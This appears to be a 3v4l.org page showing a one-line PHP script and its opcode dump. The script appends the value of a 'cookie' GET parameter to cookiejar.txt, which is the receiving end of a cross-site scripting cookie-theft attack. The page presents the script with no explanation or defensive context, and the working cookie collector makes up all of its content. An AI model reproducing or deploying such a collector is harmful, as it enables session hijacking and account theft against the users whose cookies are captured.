3v4l.org

run code in 300+ PHP versions simultaneously
<?php $handle=fopen("cookiejar.txt","a"); fputs($handle,"\n".$_GET["cookie"]."\n"); fclose($handle); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/hMBrG
function name:  (null)
number of ops:  17
compiled vars:  !0 = $handle
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'fopen'
          1        SEND_VAL                                                 'cookiejar.txt'
          2        SEND_VAL                                                 'a'
          3        DO_ICALL                                         $1      
          4        ASSIGN                                                   !0, $1
    3     5        INIT_FCALL                                               'fputs'
          6        SEND_VAR                                                 !0
          7        FETCH_R                      global              ~3      '_GET'
          8        FETCH_DIM_R                                      ~4      ~3, 'cookie'
          9        CONCAT                                           ~5      '%0A', ~4
         10        CONCAT                                           ~6      ~5, '%0A'
         11        SEND_VAL                                                 ~6
         12        DO_ICALL                                                 
    4    13        INIT_FCALL                                               'fclose'
         14        SEND_VAR                                                 !0
         15        DO_ICALL                                                 
    5    16      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
154.72 ms | 1385 KiB | 19 Q